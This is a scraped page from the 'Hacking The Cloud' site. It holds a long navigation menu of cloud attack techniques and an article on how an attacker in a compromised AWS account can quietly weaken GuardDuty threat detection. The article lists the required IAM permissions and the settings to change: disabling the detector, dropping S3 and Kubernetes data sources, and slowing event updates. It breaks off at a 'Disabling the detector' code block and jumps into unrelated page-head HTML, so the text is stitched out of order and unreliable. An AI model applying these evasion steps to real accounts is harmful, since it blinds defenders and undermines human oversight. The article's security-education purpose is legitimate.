<a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Modify GuardDuty Configuration </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#misconfiguring-the-detector class=md-nav__link> <span class=md-ellipsis> Misconfiguring the Detector </span> </a> </li> <li class=md-nav__item> <a href=#modifying-trusted-ip-lists class=md-nav__link> <span class=md-ellipsis> Modifying Trusted IP Lists </span> </a> </li> <li class=md-nav__item> <a href=#modify-cloudwatch-events-rule class=md-nav__link> <span class=md-ellipsis> Modify Cloudwatch events rule </span> </a> </li> <li class=md-nav__item> <a href=#supression-rules class=md-nav__link> <span class=md-ellipsis> Supression Rules </span> </a> </li> <li class=md-nav__item> <a href=#delete-publishing-destination class=md-nav__link> <span class=md-ellipsis> Delete Publishing Destination </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#misconfiguring-the-detector class=md-nav__link> <span class=md-ellipsis> Misconfiguring the Detector </span> </a> </li> <li class=md-nav__item> <a href=#modifying-trusted-ip-lists class=md-nav__link> <span class=md-ellipsis> Modifying Trusted IP Lists </span> </a> </li> <li class=md-nav__item> <a href=#modify-cloudwatch-events-rule class=md-nav__link> <span class=md-ellipsis> Modify Cloudwatch events rule </span> </a> </li> <li class=md-nav__item> <a href=#supression-rules class=md-nav__link> <span class=md-ellipsis> Supression Rules </span> </a> </li> <li class=md-nav__item> <a href=#delete-publishing-destination class=md-nav__link> <span class=md-ellipsis> Delete Publishing Destination </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Ben Leembruggen</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/modify-guardduty-config.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Modify GuardDuty Configuration</h1> <p>When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html>Service Control Policies</a>. </p> <p>Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.</p> <hr> <h2 id=misconfiguring-the-detector>Misconfiguring the Detector<a class=headerlink href=#misconfiguring-the-detector title="Permanent link">&para;</a></h2> <p>An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.</p> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/guardduty/list-detectors.html>guardduty:ListDetectors</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/guardduty/update-detector.html>guardduty:UpdateDetector</a></li> </ul> </li> </ul> </div> <p>Configuration changes may include a combination of:</p> <ul> <li>Disabling the detector altogether. </li> <li>Removing Kubernetes and s3 as data sources, which removes all <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html>S3 Protection</a> and <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html>Kubernetes alerts</a>. </li> <li>Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.</li> </ul> <p>Example CLI commands <div class=highlight><pre><span></span><code># Disabling the detector
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#misconfiguring-the-detector class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 